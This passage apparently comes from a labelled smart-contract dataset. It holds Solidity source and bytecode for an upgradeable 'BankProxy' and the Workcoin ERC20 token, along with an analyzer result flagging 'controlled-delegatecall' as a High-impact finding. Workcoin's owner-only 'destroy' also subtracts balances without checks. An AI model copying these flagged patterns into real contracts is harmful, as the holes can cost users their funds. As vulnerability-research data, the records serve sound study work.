extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, address _admin, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } contract BankProxy is InitializableAdminUpgradeabilityProxy {}
0x6080604052600436106100705760003560e01c80638f2839701161004e5780638f2839701461015e578063cf7a1d7714610191578063d1f5789414610250578063f851a4401461030657610070565b80633659cfe61461007a5780634f1ef286146100ad5780635c60da1b1461012d575b61007861031b565b005b34801561008657600080fd5b506100786004803603602081101561009d57600080fd5b50356001600160a01b0316610335565b610078600480360360408110156100c357600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ee57600080fd5b82018360208201111561010057600080fd5b8035906020019184600183028401116401000000008311171561012257600080fd5b50909250905061036f565b34801561013957600080fd5b5061014261041c565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100786004803603602081101561018157600080fd5b50356001600160a01b0316610459565b610078600480360360608110156101a757600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101db57600080fd5b8201836020820111156101ed57600080fd5b8035906020019184600183028401116401000000008311171561020f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610513945050505050565b6100786004803603604081101561026657600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460018302840111640100000000831117156102c557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610599945050505050565b34801561031257600080fd5b506101426106d9565b610323610704565b61033361032e610764565b610789565b565b61033d6107ad565b6001600160a01b0316336001600160a01b031614156103645761035f816107d2565b61036c565b61036c61031b565b50565b6103776107ad565b6001600160a01b0316336001600160a01b0316141561040f57610399836107d2565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103f6576040519150601f19603f3d011682016040523d82523d6000602084013e6103fb565b606091505b505090508061040957600080fd5b50610417565b61041761031b565b505050565b60006104266107ad565b6001600160a01b0316336001600160a01b0316141561044e57610447610764565b9050610456565b61045661031b565b90565b6104616107ad565b6001600160a01b0316336001600160a01b03161415610364576001600160a01b0381166104bf5760405162461bcd60e51b81526004018080602001828103825260368152602001806108d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104e86107ad565b604080516001600160a01b03928316815291841660208301528051918290030190a161035f81610812565b600061051d610764565b6001600160a01b03161461053057600080fd5b61053a8382610599565b604080517232b4b8189c9b1b97383937bc3c9730b236b4b760691b815290519081900360130190207fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036000199091011461059057fe5b61041782610812565b60006105a3610764565b6001600160a01b0316146105b657600080fd5b604080517f656970313936372e70726f78792e696d706c656d656e746174696f6e000000008152905190819003601c0190207f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6000199091011461061657fe5b61061f82610836565b8051156106d5576000826001600160a01b0316826040518082805190602001908083835b602083106106625780518252601f199092019160209182019101610643565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146106c2576040519150601f19603f3d011682016040523d82523d6000602084013e6106c7565b606091505b505090508061041757600080fd5b5050565b60006106e36107ad565b6001600160a01b0316336001600160a01b0316141561044e576104476107ad565b61070c6107ad565b6001600160a01b0316336001600160a01b0316141561075c5760405162461bcd60e51b81526004018080602001828103825260328152602001806108a56032913960400191505060405180910390fd5b610333610333565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156107a8573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6107db81610836565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61083f8161089e565b61087a5760405162461bcd60e51b815260040180806020018281038252603b81526020018061090d603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a723158205299faa0baa59cc511e9d0023ea8b96df35d632d16a68e467fb4072378f5f19c64736f6c634300050e0032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
10,030
0x80d45264dd23f4a690be5a0f1af310bfa6091c0f
pragma solidity ^0.4.21; /// @title SafeMath contract - Math operations with safety checks. /// @author OpenZeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint c = a + b; assert(c >= a); return c; } function pow(uint256 a, uint256 b) internal pure returns (uint256) { uint c = a ** b; assert(a == 0 || c / a == b); return c; } } contract Ownable { event NewOwner(address old, address current); event NewPotentialOwner(address old, address potential); address public owner = msg.sender; address public potentialOwner; modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyPotentialOwner { require(msg.sender == potentialOwner); _; } function setOwner(address _new) public onlyOwner { emit NewPotentialOwner(owner, _new); potentialOwner = _new; } function confirmOwnership() public onlyPotentialOwner { emit NewOwner(owner, potentialOwner); owner = potentialOwner; potentialOwner = 0; } } /// @title Abstract Token, ERC20 token interface contract ERC20I { function name() constant public returns (string); function symbol() constant public returns (string); function decimals() constant public returns (uint8); function totalSupply() constant public returns (uint256); function balanceOf(address owner) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /// Full complete implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 contract ERC20 is ERC20I, SafeMath { //using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; string public version; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; /// @dev Returns number of tokens owned by given address. function name() public view returns (string) { return name; } /// @dev Returns number of tokens owned by given address. function symbol() public view returns (string) { return symbol; } /// @dev Returns number of tokens owned by given address. function decimals() public view returns (uint8) { return decimals; } /// @dev Returns number of tokens owned by given address. function totalSupply() public view returns (uint256) { return totalSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0x0)); require(_value <= balances[msg.sender]); balances[msg.sender] = sub(balances[msg.sender], _value); balances[_to] = add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = sub(balances[_from], _value); balances[_to] = add(balances[_to], _value); allowed[_from][msg.sender] = sub( allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Pausable is Ownable { event EPause(); //address owner, string event event EUnpause(); bool public paused = true; modifier whenNotPaused() { require(!paused); _; } function pause() public onlyOwner { paused = true; emit EPause(); } function unpause() public onlyOwner { paused = false; emit EUnpause(); } } /** @title ERC827 interface, an extension of ERC20 token standard Interface of a ERC827 token, following the ERC20 standard with extra methods to transfer value and data and execute calls in transfers and approvals. */ contract MintableToken is ERC20, Ownable { uint256 maxSupply = 1e25; //tokens limit // triggered when the total supply is increased event Issuance(uint256 _amount); // triggered when the total supply is decreased event Destruction(uint256 _amount); /** @dev increases the token supply and sends the new tokens to an account can only be called by the contract owner @param _to account to receive the new amount @param _amount amount to increase the supply by */ function issue(address _to, uint256 _amount) public onlyOwner { require(maxSupply >= totalSupply + _amount); totalSupply += _amount; balances[_to] += _amount; emit Issuance(_amount); emit Transfer(this, _to, _amount); } /** @dev removes tokens from an account and decreases the token supply can only be called by the contract owner (if robbers detected, if will be consensus about token amount) @param _from account to remove the amount from @param _amount amount to decrease the supply by */ function destroy(address _from, uint256 _amount) public onlyOwner { balances[_from] -= _amount; totalSupply -= _amount; emit Transfer(_from, this, _amount); emit Destruction(_amount); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is MintableToken, Pausable { function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } } contract Workcoin is PausableToken { address internal seller; /** @dev modified pausable/trustee seller contract */ function transfer(address _to, uint256 _value) public returns (bool) { if(paused) { require(seller == msg.sender); return super.transfer(_to, _value); } else { return super.transfer(_to, _value); } } function sendToken(address _to, uint256 _value) public onlyOwner returns (bool) { require(_to != address(0x0)); require(_value <= balances[this]); balances[this] = sub(balances[this], _value); balances[_to] = add(balances[_to], _value); emit Transfer(this, _to, _value); return true; } function setSeller(address _seller) public onlyOwner { seller = _seller; } /** @dev transfer ethereum from contract */ function transferEther(address _to, uint256 _value) public onlyOwner returns (bool) { _to.transfer(_value); // CHECK THIS return true; } /** @dev owner can transfer out any accidentally sent ERC20 tokens */ function transferERC20Token(address tokenAddress, address to, uint256 tokens) public onlyOwner returns (bool) { return ERC20(tokenAddress).transfer(to, tokens); } /** @dev mass transfer @param _holders addresses of the owners to be notified ["address_1", "address_2", ..] */ function massTransfer(address [] _holders, uint256 [] _payments) public onlyOwner returns (bool) { uint256 hl = _holders.length; uint256 pl = _payments.length; require(hl <= 100 && hl == pl); for (uint256 i = 0; i < hl; i++) { transfer(_holders[i], _payments[i]); } return true; } /* @dev tokens constructor */ function Workcoin() public { name = "Workcoin"; symbol = "WRR"; decimals = 18; version = "1.3"; issue(this, 1e7 * 1e18); } function() public payable {} }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302af20951461015657806305b1137b1461020857806306fdde0314610262578063095ea7b3146102f057806313af40351461034a57806318160ddd1461038357806323b872dd146103ac578063313ce567146104255780633f4ba83a14610454578063412664ae1461046957806354fd4d50146104c35780635c975abb14610551578063661884631461057e57806370a08231146105d85780637762df25146106255780638456cb591461067a578063867904b41461068f5780638da5cb5b146106d157806392940bf91461072657806395d89b411461079f578063a24835d11461082d578063a9059cbb1461086f578063d5d1e770146108c9578063d73dd623146108de578063dd62ed3e14610938578063e99d2866146109a4575b005b341561016157600080fd5b6101ee600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506109dd565b604051808215151515815260200191505060405180910390f35b341561021357600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ac2565b604051808215151515815260200191505060405180910390f35b341561026d57600080fd5b610275610b6a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b557808201518184015260208101905061029a565b50505050905090810190601f1680156102e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c12565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c42565b005b341561038e57600080fd5b610396610d9b565b6040518082815260200191505060405180910390f35b34156103b757600080fd5b61040b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610da5565b604051808215151515815260200191505060405180910390f35b341561043057600080fd5b610438610dd7565b604051808260ff1660ff16815260200191505060405180910390f35b341561045f57600080fd5b610467610dee565b005b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e93565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b6104d6611102565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105165780820151818401526020810190506104fb565b50505050905090810190601f1680156105435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561055c57600080fd5b6105646111a0565b604051808215151515815260200191505060405180910390f35b341561058957600080fd5b6105be600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111b3565b604051808215151515815260200191505060405180910390f35b34156105e357600080fd5b61060f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111e3565b6040518082815260200191505060405180910390f35b341561063057600080fd5b61063861122c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068557600080fd5b61068d611252565b005b341561069a57600080fd5b6106cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112f7565b005b34156106dc57600080fd5b6106e4611465565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561073157600080fd5b610785600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061148b565b604051808215151515815260200191505060405180910390f35b34156107aa57600080fd5b6107b26115ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107f25780820151818401526020810190506107d7565b50505050905090810190601f16801561081f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561083857600080fd5b61086d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611653565b005b341561087a57600080fd5b6108af600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117ac565b604051808215151515815260200191505060405180910390f35b34156108d457600080fd5b6108dc611843565b005b34156108e957600080fd5b61091e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611a21565b604051808215151515815260200191505060405180910390f35b341561094357600080fd5b61098e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a51565b6040518082815260200191505060405180910390f35b34156109af57600080fd5b6109db600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ad8565b005b600080600080600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a3f57600080fd5b855192508451915060648311158015610a5757508183145b1515610a6257600080fd5b600090505b82811015610ab557610aa78682815181101515610a8057fe5b906020019060200201518683815181101515610a9857fe5b906020019060200201516117ac565b508080600101915050610a67565b6001935050505092915050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610b6057600080fd5b6001905092915050565b610b726126d2565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c085780601f10610bdd57610100808354040283529160200191610c08565b820191906000526020600020905b815481529060010190602001808311610beb57829003601f168201915b5050505050905090565b6000600a60009054906101000a900460ff16151515610c3057600080fd5b610c3a8383611b78565b905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9e57600080fd5b7f8a95addc59dddee94a894365b5c66c6c2473b7084d3fd1df9f503db4a2cd6dcc600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a180600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600354905090565b6000600a60009054906101000a900460ff16151515610dc357600080fd5b610dce848484611c6a565b90509392505050565b6000600260009054906101000a900460ff16905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e4a57600080fd5b6000600a60006101000a81548160ff0219169083151502179055507f9b1d6b460eaa8350c2f15712231e94c803e08e072db0737a0efb84745848694060405160405180910390a1565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ef157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f2d57600080fd5b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f7b57600080fd5b610fc4600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361200e565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612027565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111985780601f1061116d57610100808354040283529160200191611198565b820191906000526020600020905b81548152906001019060200180831161117b57829003601f168201915b505050505081565b600a60009054906101000a900460ff1681565b6000600a60009054906101000a900460ff161515156111d157600080fd5b6111db8383612045565b905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ae57600080fd5b6001600a60006101000a81548160ff0219169083151502179055507fd2ef4ae6592c2a8f5d1c602eaa8a0685727b41b23509703db861621a9614813a60405160405180910390a1565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135357600080fd5b80600354016009541015151561136857600080fd5b8060036000828254019250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f9386c90217c323f58030f9dadcbc938f807a940f4ff41cd4cead9562f5da7dc3816040518082815260200191505060405180910390a18173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114e957600080fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561158b57600080fd5b5af1151561159857600080fd5b5050506040518051905090509392505050565b6115b36126d2565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116495780601f1061161e57610100808354040283529160200191611649565b820191906000526020600020905b81548152906001019060200180831161162c57829003601f168201915b5050505050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116af57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806003600082825403925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37f9a1b418bc061a5d80270261562e6986a35d995f8051145f277be16103abd3453816040518082815260200191505060405180910390a15050565b6000600a60009054906101000a900460ff1615611830573373ffffffffffffffffffffffffffffffffffffffff16600a60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561181f57600080fd5b61182983836122cd565b905061183d565b61183a83836122cd